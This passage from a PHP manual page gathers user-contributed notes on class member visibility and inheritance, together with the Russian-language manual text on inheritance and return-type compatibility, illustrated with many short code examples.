        echo "Parent Foo\n";
    }

    public function call_foo() {
        $this->foo();
    }
}

class Child extends Parent {
    public function foo() {
        echo "Child Foo\n";
    }
}

$bar = new Child();
$bar->call_foo();
$bar->foo();

?>

will output:
Parent Foo
Child Foo
Vytautas 05-Apr-2020 10:31
I have simplified the last method (Example #4) showing how to call private function outside the class. I think this is an idea of that example:

<?php
class Test
{
    private $foo;

    private function bar()
    {
        echo 'Accessed the private method.';
    }

    public function baz()
    {
        // Calling the private method:
        $this->bar();
    }
}
$test=new Test();
$test->baz();
$test->bar();
?>
Patanjali 04-Nov-2019 10:19
Re: wbcarts at juno dot com

Expected, since it comes down to PHP's lack of type enforcement.

Classes preserve structure, but doesn't natively enforce scalar property types, as per PHP's variables.

'It REQUIRES OUTSIDE CODE to do all the work...'

No, as you indicate, to mitigate this,  make variables private and use protected/public 'set' and 'get' types of methods to manipulate their values.

However, the 'set' functions would also need to enforce type and report errors if not of the correct type.

Of course, the code that uses classes should be designed to either:
a. Provide only the correct types of values.
b. Handle the errors reported.
c. Encapsulate use of the class with try-catch blocks.

Note that c. is what sloppy code feeding mistyped values to the class would have to do if type were strictly enforced.

Fortunately, as of 7.0, type can be specified for scalar function/method parameters, but would need try-catch blocks to handle mismatches from inside the class, rather than using the 'is' functions.

All of this is part of proper design and defensive programming.
tushar dot khan0122 at gmail dot com 12-Mar-2019 07:54
1 . If the class member declared as public then it can be accessed everywhere.
2 . If the class members declared as protected then it can be accessed only within the class itself and by inheriting and parent classes.
 3 .If the class members declared as private then it may only be accessed by the class that defines the member.

<?php

// BaseClass
class pub {
    public $tag_line = "A Computer Science Portal for Geeks!";
    function display() {
        echo $this->tag_line."<br/>";
    }
}

// SubClass
class child extends pub {
    function show(){
        echo $this->tag_line;
    }
}

// Object Declaration
$obj= new child;

// A Computer Science Portal for Geeks!
echo $obj->tag_line."<br/>";

// A Computer Science Portal for Geeks!
$obj->display();

// A Computer Science Portal for Geeks!
$obj->show();
?>

<?php

// Base Class
class pro {
    protected $x = 500;
    protected $y = 500;

    // Subtraction Function
    function sub()
    {
        echo $sum=$this->x-$this->y . "<br/>";
    }
}

// SubClass - Inherited Class
class child extends pro {
    function mul() //Multiply Function
    {
        echo $sub=$this->x*$this->y;
    }
}

$obj= new child;
$obj->sub();
$obj->mul();
?>

<?php

// Base Class
class demo {
    private $name="A Computer Science Portal for Geeks!";

    private function show()
    {
        echo "This is private method of base class";
    }
}

// Sub Class
class child extends demo {
    function display()
    {
        echo $this->name;
    }
}

// Object Declaration
$obj= new child;

// Uncaught Error: Call to private method demo::show()
$obj->show();

//Undefined property: child::$name
$obj->display();
?>
bishop at php dot net 11-Nov-2016 03:27
> Members declared protected can be accessed only within
> the class itself and by inherited classes. Members declared
> as private may only be accessed by the class that defines
> the member.

This is not strictly true. Code outside the object can get and set private and protected members:

<?php
class Sealed { private $value = 'foo'; }

$sealed = new Sealed;
var_dump($sealed); // private $value => string(3) "foo"

call_user_func(\Closure::bind(
    function () use ($sealed) { $sealed->value = 'BAZ'; },
    null,
    $sealed
));

var_dump($sealed); // private $value => string(3) "BAZ"

?>

The magic lay in \Closure::bind, which allows an anonymous function to bind to a particular class scope. The documentation on \Closure::bind says:

> If an object is given, the type of the object will be used
> instead. This determines the visibility of protected and
> private methods of the bound object.

So, effectively, we're adding a run-time setter to $sealed, then calling that setter. This can be elaborated to generic functions that can force set and force get object members:

<?php
function force_set($object, $property, $value) {
    call_user_func(\Closure::bind(
        function () use ($object, $property, $value) {
            $object->{$property} = $value;
        },
        null,
        $object
    ));
}

function force_get($object, $property) {
    return call_user_func(\Closure::bind(
        function () use ($object, $property) {
            return $object->{$property};
        },
        null,
        $object
    ));
}

force_set($sealed, 'value', 'quux');
var_dump(force_get($sealed, 'value')); // 'quux'

?>

You should probably not rely on this ability for production quality code, but having this ability for debugging and testing is handy.
noel darlow 18-Jun-2016 08:19
After having the how explained, many people will still be left wondering about the why. How should the different kinds of visibility be used in practice?

Some kind of labelling for the public and private parts of an interface is certainly necessary. We need to be clear which methods will be part of the public interface and which are only used internally .

In older versions of php notionally-private functions were prefixed with an underscore - a much simpler and more elegant solution to the labelling problem. "Protected" adds clutter which affects readability. It adds a lot of unnecessary typing to what is already a keyboard-intensive job.

As for enforcement.. no-one ever got mixed up about public/private so long as they were clearly labelled. As such, "protected" is an attempt to solve a problem which simply did not exist.

Private is even worse. It specifically encourages bad object-oriented code with the use of inheritance in places where you should be thinking about separate, co-operating objects.

A feeling that classes which inherit from each other need to hide some of their bits from each other is a sure sign that you need to break the code up into separate objects. This is exactly what encapsulation is for. It doesn't make any sense to try to encapsulate bits inside an inheritance tree. Classes which extend other classes must always be free to override whatever it is they need to override in their parent classes.

In short, use protected if you must, do not use private at all. Do not try to squeeze too much new functionality into an inheritance tree: create networks of co-operating objects with clearly-defined responsibilities instead.

It's a real shame that php took the decision to implement private and protected. They add nothing to our ability to write good quality OO code; they simply make that code more difficult to write and to understand.   Clarity and simplicity are incredibly important in programming but now both php programmers and php developers are stuck with these unnecessary layers of complexity.
gried at NOSPAM dot nsys dot by 28-Jan-2016 06:18
I want to merge notes from different comments about visibility of class members from parent class / sibling class point of view because visibility rules are similar. Here are main points:
    1. Methods declared in parent class can access some child class members.
    2. Class can access some sibling class members using methods declared in common parent. NB: only inherited not-overridden parent method could be used, if you override it in current class you have to call parent method statically to get access to sibling members.

You can see list of members that could be accessed via these methods below:
- inherited protected / private property - OK;
- inherited protected / private method without overriding - OK;
- inherited protected method with overriding - OK;
- inherited private method with overriding - FAIL, original parent method will be called;
- own protected property / method - OK;
- own private property / method - FAIL, critical error.
willbrownsberger at gmail dot com 03-Sep-2015 01:20
Just wanted to share a trap for the unwary.  Where there are several layers of object assignments, setting the bottom object's properties as private will prevent its exposure.  However, if the bottom object has public properties, intermediate objects which are themselves set as private but are derived from the bottom object can inadvertently be exposed to updates.

This follows logically from the reference model in php ( http://php.net/manual/en/language.oop5.references.php ), but can yield a result that is surprising until one gets the reference model.  The following example demonstrates the phenomenon.

// underlying class for offering database results to other objects
// __construct method yields public results -- bottom object in example

class database_result {
    public $column1;
    public function __construct() {
        // . . . database access . . .
        $this->column1 = 'foo';
    }
}

// application dictionary accesses database and caches results
// for application objects -- this is the second layer  in the example

class  dictionary {
    private $reference_object;
    public function __construct (){
        $this->reference_object = new database_result;
    }

    public function get_reference_object() {
        return ( $this->reference_object );
    }
}

$dictionary = new dictionary;
/* $dictionary->reference_object cannot be accessed directly
* $dictionary->reference_object->column1 = 'foochanged';
* yields Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

$pointer_to_dictionary = $dictionary;
/*
* if assign $dictionary to new variable, the new variable is a pointer and its properties are still private
* $pointer_to_dictionary->reference_object->column1 = 'foochanged';
* Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
* $pointer_to_dictionary = $dictionary->reference_object;
*  Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
*/

//  now set up a client class that will use a working copy of the dictionary -- this is the third layer in the example

class dictionary_user {
    private $pointer_to_dictionary;
    public function __construct () {
        global $dictionary;
        // $this->pointer_to_dictionary = $dictionary->reference_object;
        // Fatal error: Cannot access private property dictionary::$reference_object in /var/www/html/index.php  . . .
        // still cannot directly access dictionary properties even in this context, except through getter
        $this->pointer_to_dictionary = $dictionary->get_reference_object();
    }

    // however, can now operate on dictionary through the pointer
    public function set_pointer_to_dictionary ( $value ) {
        $this->pointer_to_dictionary->column1 = $value;
    }

    public function get_pointer_to_reference_object(){
        return ($this->pointer_to_dictionary);
    }
}

$dictionary_user = new dictionary_user;
$dictionary_user->set_pointer_to_dictionary ( 'foochanged' );
echo ('<br/>');
var_dump ( $dictionary_user->get_pointer_to_reference_object()); echo '<br/>';
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" } -- of course, the user object is changed
var_dump ( $dictionary->get_reference_object() );
// object(database_result)#2 (1) { ["column1"]=> string(10) "foochanged" }  -- however, the private dictionary object is also now corrupted!
// Note:  If the underlying database result object $column1 as private, this will cause set_pointer_to_dictionary to generate the usual fatal error
// but  making the bottom object private may defeat its purpose of exposing results.
pgl at yoyo dot org 30-Jun-2015 11:09
Just a quick note that it's possible to declare visibility for multiple properties at the same time, by separating them by commas.

eg:

<?php
class a
{
    protected $a, $b;

    public $c, $d;

    private $e, $f;
}
?>
thcdesigning at gmail dot com 26-Nov-2013 12:50
Private or not private?
 I get baffled whenever I see this kind of an example.

<?php

class vessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

class smallVessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

$basket = new vessel();
$bucket = new vessel();
$bowl = new smallVessel();

$basket->setThing(array('wine' , 'water' , 'sugar'));

 // returns the contents inside basket unexpectedly
print_r($bucket->getThing($basket));

// returns error, quite rightly so!
print_r($bowl ->getThing($basket));
aluciffer at hotmail dot com 21-Jul-2013 02:08
As far as it regards the properties of objects, visibility is, yes, as the examples show.
Private, protected methods are not accessible via syntax $a->protectedVar, however their values are still (php 5.3.26) accessible through a number of other methods (serializing, converting to array, and nevertheless using the ReflectionClass methods).
As it was pointed out and such as in the example below:
<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
   private   $bar  = "value of private var";
   protected $bar2 = "value of protected var";
   public    $bar3 = "value of public var";
}

$obj = new Foo;

echo serialize($obj) . "\n";

print_r($obj);

print_r((array)$obj);

echo ($obj->bar3) . "\n";
echo ($obj->bar2) . "\n";
echo ($obj->bar) . "\n";

?>

It will output:

PHP Version: 5.3.26
O:3:"Foo":3:{s:8:"Foobar";s:20:"value of private var ";s:7:"*bar2";s:22:"value of protected var";s:4:"bar3";s:19:"value of public var";}
Foo Object
(
    [bar:Foo:private] => value of private var
    [bar2:protected] => value of protected var
    [bar3] => value of public var
)

Array
(
    [Foobar] => value of private var
    [*bar2] => value of protected var
    [bar3] => value of public var
)
value of public var

While the last two lines, accessing directly the private and protected object properties (bar2 and bar), will throw out fatal errors like:
PHP Fatal error:  Cannot access private property Foo::$bar
and
PHP Fatal error:  Cannot access protected property Foo::$bar2
andrei at leapingbytes dot net 20-Dec-2012 09:50
Interestingly enough, PHP does very reasonable job in regards to interaction between classes and plain functions (even ones defined in the same file as the class)

<?php

class Test {
    private function foo() {
        echo "Foo" . PHP_EOL;
    }
    protected function bar() {
        echo "bar" . PHP_EOL;
    }

    static function foobar($test) {
        $test->bar(); // works
        $test->foo(); // works
    }
}

function simple_function() {
    $test = new Test();

    $test->bar(); // does not work

    $test->foo(); // does not work

    Test::foobar($test); // works
}

simple_function();
?>
alexaulbach at mayflower dot de 06-Nov-2012 01:32
<?php

error_reporting(E_ALL | E_STRICT |  E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);

class A
{
        private $private = 1;
        public $public = 1;

        function get()
        {
                return "A: $this->private , $this->public\n";
        }

}

class B extends A
{

        function __construct()
        {
                $this->private = 2;
                $this->public = 2;
        }

        function set()
        {
                $this->private = 3;
                $this->public = 3;
        }

        function get()
        {
                return parent::get() . "B: $this->private , $this->public\n";
        }

}

$B = new B;

echo $B->get();
echo $B->set();
echo $B->get();
?>

?>

Result is
A: 1 , 2
B: 2 , 2
A: 1 , 3
B: 3 , 3

This is correct code and does not warn you to use any private.

"$this->private" is only in A private. If you write it in class B it's a runtime declaration of the public variable "$this->private", and PHP doesn't even warn you that you create a variable in a class without declaration, because this is normal behavior.
omega at 2093 dot es 06-Jul-2012 12:04
This has already been noted here, but there was no clear example. Methods defined in a parent class can NOT access private methods defined in a class which inherits from them. They can access protected, though.

Example:

<?php

class ParentClass {

    public function execute($method) {
        $this->$method();
    }

}

class ChildClass extends ParentClass {

    private function privateMethod() {
        echo "hi, i'm private";
    }

    protected function protectedMethod() {
        echo "hi, i'm protected";
    }

}

$object = new ChildClass();

$object->execute('protectedMethod');

$object->execute('privateMethod');

?>

Output:

hi, i'm protected
Fatal error: Call to private method ChildClass::privateMethod() from context 'ParentClass' in index.php on line 6

In an early approach this may seem unwanted behaviour but it actually makes sense. Private can only be accessed by the class which defines, neither parent nor children classes.
jc dot flash at gmail dot com 21-Jun-2012 02:31
if not overwritten, self::$foo in a subclass actually refers to parent's self::$foo
<?php
class one
{
    protected static $foo = "bar";
    public function change_foo($value)
    {
        self::$foo = $value;
    }
}

class two extends one
{
    public function tell_me()
    {
        echo self::$foo;
    }
}
$first = new one;
$second = new two;

$second->tell_me(); // bar
$first->change_foo("restaurant");
$second->tell_me(); // restaurant
?>
IgelHaut 30-May-2012 01:48
<?php
class test {
    public $public = 'Public var';
    protected $protected = 'protected var';
    private $private = 'Private var';

    public static $static_public = 'Public static var';
    protected static $static_protected = 'protected static var';
    private static $static_private = 'Private static var';
}

$class = new test;
print_r($class);
?>

The code prints
test Object ( [public] => Public var [protected:protected] => protected var [private:test:private] => Private var )

Functions like print_r(), var_dump() and var_export() prints public, protected and private variables, but not the static variables.
wbcarts at juno dot com 19-May-2012 08:27
INSIDE CODE and OUTSIDE CODE

<?php

class Item
{
  /**
   * This is INSIDE CODE because it is written INSIDE the class.
   */
  public $label;
  public $price;
}

/**
 * This is OUTSIDE CODE because it is written OUTSIDE the class.
 */
$item = new Item();
$item->label = 'Ink-Jet Tatoo Gun';
$item->price = 49.99;

?>

Ok, that's simple enough... I got it inside and out. The big problem with this is that the Item class is COMPLETELY IGNORANT in the following ways:
* It REQUIRES OUTSIDE CODE to do all the work AND to know what and how to do it -- huge mistake.
* OUTSIDE CODE can cast Item properties to any other PHP types (booleans, integers, floats, strings, arrays, and objects etc.) -- another huge mistake.

Note: we did it correctly above, but what if someone made an array for $price? FYI: PHP has no clue what we mean by an Item, especially by the terms of our class definition above. To PHP, our Item is something with two properties (mutable in every way) and that's it. As far as PHP is concerned, we can pack the entire set of Britannica Encyclopedias into the price slot. When that happens, we no longer have what we expect an Item to be.

INSIDE CODE should keep the integrity of the object. For example, our class definition should keep $label a string and $price a float -- which means only strings can come IN and OUT of the class for label, and only floats can come IN and OUT of the class for price.

<?php

class Item
{
  /**
   * Here's the new INSIDE CODE and the Rules to follow:
   *
   * 1. STOP ACCESS to properties via $item->label and $item->price,
   *    by using the protected keyword.
   * 2. FORCE the use of public functions.
   * 3. ONLY strings are allowed IN & OUT of this class for $label
   *    via the getLabel and setLabel functions.
   * 4. ONLY floats are allowed IN & OUT of this class for $price
   *    via the getPrice and setPrice functions.
   */

  protected $label = 'Unknown Item'; // Rule 1 - protected.
  protected $price = 0.0;            // Rule 1 - protected.

  public function getLabel() {       // Rule 2 - public function.
    return $this->label;             // Rule 3 - string OUT for $label.
  }

  public function getPrice() {       // Rule 2 - public function.
    return $this->price;             // Rule 4 - float OUT for $price.
  }

  public function setLabel($label)   // Rule 2 - public function.
  {
    /**
     * Make sure $label is a PHP string that can be used in a SORTING
     * alogorithm, NOT a boolean, number, array, or object that can't
     * properly sort -- AND to make sure that the getLabel() function
     * ALWAYS returns a genuine PHP string.
     *
     * Using a RegExp would improve this function, however, the main
     * point is the one made above.
     */

    if(is_string($label))
    {
      $this->label = (string)$label; // Rule 3 - string IN for $label.
    }
  }

  public function setPrice($price)   // Rule 2 - public function.
  {
    /**
     * Make sure $price is a PHP float so that it can be used in a
     * NUMERICAL CALCULATION. Do not accept boolean, string, array or
     * some other object that can't be included in a simple calculation.
     * This will ensure that the getPrice() function ALWAYS returns an
     * authentic, genuine, full-flavored PHP number and nothing but.
     *
     * Checking for positive values may improve this function,
     * however, the main point is the one made above.
     */

    if(is_numeric($price))
    {
      $this->price = (float)$price; // Rule 4 - float IN for $price.
    }
  }
}

?>

Now there is nothing OUTSIDE CODE can do to obscure the INSIDES of an Item. In other words, every instance of Item will always look and behave like any other Item complete with a label and a price, AND you can group them together and they will interact without disruption. Even though there is room for improvement, the basics are there, and PHP will not hassle you... which means you can keep your hair!
php at stage-slash-solutions dot com 10-Jul-2011 03:21
access a protected property:

<?php

//Some library I am not allowed to change:

abstract class a
{
  protected $foo;
}

class aa extends a
{
  function setFoo($afoo)
  {
      $this->foo = $afoo;
  }
}

?>

if you get an instance of aa and need access to $foo:

<?php
class b extends a
{
  function getFoo($ainstance)
  {
      return $ainstance->foo;
  }
}

$aainstance=someexternalfunction();
$binstance=new b;
$aafoo=$binstance->getFoo($aainstance);
?>
Marce! 25-Sep-2009 03:04
Please note that protected methods are also available from sibling classes as long as the method is declared in the common parent. This may also be an abstract method.

In the below example Bar knows about the existence of _test() in Foo because they inherited this method from the same parent. It does not matter that it was abstract in the parent.

<?php
abstract class Base {
    abstract protected function _test();
}

class Bar extends Base {

    protected function _test() { }

    public function TestFoo() {
        $c = new Foo();
        $c->_test();
    }
}

class Foo extends Base {
    protected function _test() {
        echo 'Foo';
    }
}

$bar = new Bar();
$bar->TestFoo(); // result: Foo
?>
imran at phptrack dot com 18-Aug-2009 02:06
Some Method Overriding rules :

1. In the overriding, the method names and arguments (arg's) must be same.

Example:
class p { public function getName(){} }
class c extends P{ public function getName(){} }

2. final methods can't be overridden.

3. private methods never participate in the in the overriding because these methods are not visible in the child classes.

Example:
class a {
private  function my(){
    print "parent:my";
}
public function getmy(){
$this->my();
}
}
class b extends a{
    private  function my(){
        print "base:my";
}
}
$x = new b();
$x->getmy(); // parent:my

4. While overriding decreasing access specifier is not allowed

class a {
public  function my(){
    print "parent:my";
}

}
class b extends a{
    private  function my(){
        print "base:my";
}
}
//Fatal error:  Access level to b::my() must be public (as in class a)
a dot schaffhirt at sedna-soft dot de 29-Jun-2009 12:27
If you miss the "package" keyword in PHP in order to allow access between certain classes without their members being public, you can utilize the fact, that in PHP the protected keyword allows access to both subclasses and superclasses.

So you can use this simple pattern:

<?php
    abstract class Dispatcher {
        protected function &accessProperty (self $pObj, $pName) {
            return $pObj->$pName;
        }
        protected function invokeMethod ($pObj, $pName, $pArgs) {
            return call_user_func_array(array($pObj, $pName), $pArgs);
        }
    }
?>

The classes that should be privileged to each other simply extend this dispatcher:

<?php
    class Person extends Dispatcher {
        private $name;
        protected $phoneNumbers;

        public function __construct ($pName) {
            $this->name = $pName;
            $this->phoneNumbers = array();
        }
        public function addNumber (PhoneNumber $pNumber, $pLabel) {
            $this->phoneNumbers[$pLabel] = $pNumber;

            // this does not work, because "owner" is protected:
            // $pNumber->owner = $this;

            // instead, we get a reference from the dispatcher:
            $p =& $this->accessProperty($pNumber, "owner");

            // ... and change that:
            $p = $this;
        }
        public function call ($pLabel) {
            // this does not work since "call" is protected:
            // $this->phoneNumbers[$pLabel]->call();

            // instead, we dispatch the call request:
            $this->invokeMethod($this->phoneNumbers[$pLabel], "call", array());
        }
    }

    class PhoneNumber extends Dispatcher {
        private $countryCode;
        private $areaCode;
        private $number;
        protected $owner;

        public function __construct ($pCountryCode, $pAreaCode, $pNumber) {
            $this->countryCode = $pCountryCode;
            $this->areaCode = $pAreaCode;
            $this->number = $pNumber;
        }

        protected function call () {
            echo("calling " . $this->countryCode . "-" . $this->areaCode . "-" . $this->number . "\n");
        }
    }

    $person = new Person("John Doe");
    $number1 = new PhoneNumber(12, 345, 67890);
    $number2 = new PhoneNumber(34, 5678, 90123);
    $person->addNumber($number1, "home");
    $person->addNumber($number2, "office");
    $person->call("home");
?>

Without this pattern you would have to make $owner and call() public in PhoneNumber.

Best regards,
what at ever dot com 04-Dec-2008 05:15
If you have problems with overriding private methods in extended classes, read this:)

The manual says that "Private limits visibility only to the class that defines the item". That means extended children classes do not see the private methods of parent class and vice versa also.

As a result, parents and children can have different implementations of the "same" private methods, depending on where you call them (e.g. parent or child class instance). Why? Because private methods are visible only for the class that defines them and the child class does not see the parent's private methods. If the child doesn't see the parent's private methods, the child can't override them. Scopes are different. In other words -- each class has a private set of private variables that no-one else has access to.

A sample demonstrating the percularities of private methods when extending classes:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    private function overridden() {
        echo 'base';
    }
}

class child extends base {
    private function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>

Output will be "base".

If you want the inherited methods to use overridden functionality in extended classes but public sounds too loose, use protected. That's what it is for:)

A sample that works as intended:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    protected function overridden() {
        echo 'base';
    }
}

class child extends base {
    protected function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>
Output will be "child".
Joshua Watt 29-May-2007 12:09
I couldn't find this documented anywhere, but you can access protected and private member varaibles in different instance of the same class, just as you would expect

i.e.

<?php
class A
{
    protected $prot;
    private $priv;

    public function __construct($a, $b)
    {
        $this->prot = $a;
        $this->priv = $b;
    }

    public function print_other(A $other)
    {
        echo $other->prot;
        echo $other->priv;
    }
}

class B extends A
{
}

$a = new A("a_protected", "a_private");
$other_a = new A("other_a_protected", "other_a_private");

$b = new B("b_protected", "ba_private");

$other_a->print_other($a); //echoes a_protected and a_private
$other_a->print_other($b); //echoes b_protected and ba_private

$b->print_other($a); //echoes a_protected and a_private
?>
stephane at harobed dot org 23-Aug-2006 02:22
A class A static public function can access to class A private function :

<?php
class A {
    private function foo()
    {
        print("bar");
    }

    static public function bar($a)
    {
        $a->foo();
    }
}

$a = new A();

A::bar($a);
?>

It's working.
r dot wilczek at web-appz dot de 05-Jan-2006 05:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
    private $bar;

    public function debugBar(Foo $object)
    {
        // this does NOT violate visibility although $bar is private
        echo $object->bar, "\n";
    }

    public function setBar($value)
    {
        // Neccessary method, for $bar is invisible outside the class
        $this->bar = $value;
    }

    public function setForeignBar(Foo $object, $value)
    {
        // this does NOT violate visibility!
        $object->bar = $value;
    }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>


Наследование

Наследование — это хорошо зарекомендовавший себя принцип программирования, и PHP использует этот принцип в своей объектной модели. Этот принцип повлияет на то, как многие классы и объекты связаны друг с другом.

Например, при расширении класса дочерний класс наследует все общедоступные и защищённые методы, свойства и константы родительского класса. До тех пор пока эти методы не будут переопределены, они будут сохранять свою исходную функциональность.

Это полезно для определения и абстрагирования функциональности и позволяет реализовать дополнительную функциональность в похожих объектах без необходимости реализовывать всю общую функциональность.

Закрытые методы родительского класса недоступны для дочернего класса. В результате дочерние классы могут повторно реализовать закрытый метод без учёта обычных правил наследования. Однако до PHP 8.0.0 к закрытым методам применялись ограничения final и static. Начиная с PHP 8.0.0, единственное ограничение закрытого метода, которое применяется - это конструкторы private final, поскольку это обычный способ "отключить" конструктор при использовании вместо него статичных фабричных методов.

Видимость методов, свойств и констант можно ослабить, например, защищённый метод может быть помечен как общедоступный, но нельзя ограничить видимость, например, нельзя пометить общедоступное свойство как закрытое. Исключением являются конструкторы, видимость которых может быть ограничена, например, общедоступный конструктор может быть помечен как закрытый в дочернем классе.

Замечание:

Если не используется автозагрузка, классы должны быть объявлены до того, как они будут использоваться. Если класс расширяет другой, то родительский класс должен быть объявлен до наследующего класса. Это правило применяется к классам, которые наследуют другие классы или интерфейсы.

Замечание:

Не разрешается переопределять свойство чтения-записи с помощью readonly-свойства или наоборот.

<?php
class A {
public int $prop;
}
class B extends A {
// Нельзя: read-write -> readonly
public readonly int $prop;
}
?>

Пример #1 Пример наследования

<?php

class Foo
{
public function printItem($string)
{
echo 'Foo: ' . $string . PHP_EOL;
}

public function printPHP()
{
echo 'PHP просто супер.' . PHP_EOL;
}
}

class Bar extends Foo
{
public function printItem($string)
{
echo 'Bar: ' . $string . PHP_EOL;
}
}

$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // Выведет: 'Foo: baz'
$foo->printPHP(); // Выведет: 'PHP просто супер'
$bar->printItem('baz'); // Выведет: 'Bar: baz'
$bar->printPHP(); // Выведет: 'PHP просто супер'

?>

Совместимость типов возвращаемых значений с внутренними классами

До PHP 8.1.0 большинство внутренних классов или методов не объявляли свои типы возвращаемых значений и при их расширении допускался любой тип возвращаемого значения.

Начиная с PHP 8.1.0, большинство внутренних методов начали "предварительно" объявлять тип возвращаемого значения. В этом случае тип возвращаемого значения методов должен быть совместим с расширяемым родителем; в противном случае выдаётся уведомление об устаревании. Обратите внимание, что отсутствие явного объявления типа возвращаемого значения также считается несоответствием сигнатуры и, соответственно, приводит к уведомлению об устаревании.

Если тип возвращаемого значения не может быть объявлен для переопределяемого метода из-за проблем с совместимостью с различными версиями PHP, может быть добавлен атрибут ReturnTypeWillChange, чтобы заглушить уведомление об устаревании.

Пример #2 Переопределяющий метод не объявляет никакого типа возвращаемого значения

<?php
class MyDateTime extends DateTime
{
public function modify(string $modifier) { return false; }
}

// "Deprecated: Return type of MyDateTime::modify(string $modifier) should either be compatible with DateTime::modify(string $modifier): DateTime|false, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice", начиная с PHP 8.1.0
?>

Пример #3 Переопределяющий метод объявляет неверный тип возвращаемого значения

<?php
class MyDateTime extends DateTime
{
public function modify(string $modifier): ?DateTime { return null; }
}

// "Deprecated: Return type of MyDateTime::modify(string $modifier): ?DateTime should either be compatible with DateTime::modify(string $modifier): DateTime|false, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice", начиная с PHP 8.1.0
?>

Пример #4 Переопределяющий метод объявляет неверный тип возвращаемого значения без уведомления об устаревании

<?php
class MyDateTime extends DateTime
{
/**
* @return DateTime|false
*/
#[\ReturnTypeWillChange]
public function modify(string $modifier) { return false; }
}

// Уведомление об устаревании не выводится
?>

User Contributed Notes

niemans at pbsolo dot nl 04-Jan-2020 01:39
Inheritance works at create time, i.e. using the keyword 'new'. Static properties confused my understanding, so in order tho show the effect of visibility to inherintence I've created a simple demo script along with some set and get magic:

<?php
class A {
private $a   = 'private';
protected $b = 'protected';
public $c    = 'public';
static $d    = 'static';
public function __construct()
{
    $this->e = 'constructed';
}
public function __set($property, $value)
{
    echo ' set ' . $property . '=' . $value;
    $this->$property=$value;
}
public function __get($property)
{
    echo ' get ' . $property;
    $this->$property = 'dynamic';  // invokes __set() !!
    return $this->$property;
}
}

class B extends A
{
public function constructMe()
{
    $this->e = 'constructed2';
}
}

class C extends B
{
public function __construct()
{
    parent::constructMe();
}
}

echo " \n";
$a = new A();
$b = new B();
echo " \n";
echo ' B:c='.$b->c;
echo " \n";
echo ' B:d=' .$b->d;
echo " \n";

$c = new C();
echo " \n";

print_r($a);
print_r($b);
print_r($c);

print_r(A::$d);
print_r(B::$d);
print_r(C::$d);

echo 'A class: ';
$R = new reflectionclass('A');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());
echo 'B class: ';
$R = new reflectionclass('B');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());

?>

This outputs:

 set e=constructed
 B:c=public
 get d set d=dynamic B:d=dynamic
 set e=constructed2
A Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed
)
B Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [d] => dynamic
)
C Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed2
)
staticstaticstaticA class: Array
(
    [d] => static
    [a] => private
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)
B class: Array
(
    [d] => static
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)

This shows how private variables ($a) are inherited, how static variables ($d) are inherited (by the class, not by the object) and that changing or adding variables in the parent ($e, $d) are not inherited by the child.
Anonymous 25-Jan-2019 07:21
PHP7 gives you a warning if you redeclare a function in a child class with different parameters. For example:

class foo {
     function print($text='') {
          print text;
     }
}

class bar extends foo {
      function print($text1='',$text2='') {
           print text1.text2
      }
}

will give a PHP Warning:  Declaration of bar::print($text1 = '', $text2 = '') should be compatible with foo::print($text= '').
sibian0218 at gmail dot com 06-Sep-2018 07:58
I've noticed one thing concerning inheritance...
When declaring an abstract class with a private method,
which is overridden by a sub-class, private takes precedence over public for child class...
(in the case you're redeclaring a method with a different signature in fact).

Hope this helps
Mohammad Istanbouly 11-Jun-2017 10:50
I think the best way for beginners to understand inheritance is through a real example so here is a simple example I can gave to you

<?php

class Person
{
    public $name;
    protected $age;
    private $phone;

    public function talk(){
        //Do stuff here
    }

    protected function walk(){
        //Do stuff here
    }

    private function swim(){
        //Do stuff here
    }
}

class Tom extends Person
{
    /*Since Tom class extends Person class this means
        that class Tom is a child class and class person is
        the parent class and child class will inherit all public
        and protected members(properties and methods) from
        the parent class*/

     /*So class Tom will have these properties and methods*/

     //public $name;
     //protected $age;
     //public function talk(){}
     //protected function walk(){}

     //but it will not inherit the private members
     //this is all what Object inheritance means
}
akashwebdev at gmail dot com 01-Jul-2015 05:59
The Idea that multiple inheritence is not supported is correct but with tratits this can be reviewed.

for e.g.

<?php
trait  custom
{
     public function hello()
     {
          echo "hello";
     }
}

trait custom2
{
       public function hello()
       {
            echo "hello2";
       }
}

class inheritsCustom
{
        use custom, custom2
        {
              custom2::hello insteadof custom;
        }
}

$obj = new inheritsCustom();
$obj->hello();
?>
strata_ranger at hotmail dot com 19-Sep-2010 09:37
I was recently extending a PEAR class when I encountered a situation where I wanted to call a constructor two levels up the class hierarchy, ignoring the immediate parent.  In such a case, you need to explicitly reference the class name using the :: operator.

Fortunately, just like using the 'parent' keyword PHP correctly recognizes that you are calling the function from a protected context inside the object's class hierarchy.

E.g:

<?php
class foo
{
  public function something()
  {
    echo __CLASS__; // foo
    var_dump($this);
  }
}

class foo_bar extends foo
{
  public function something()
  {
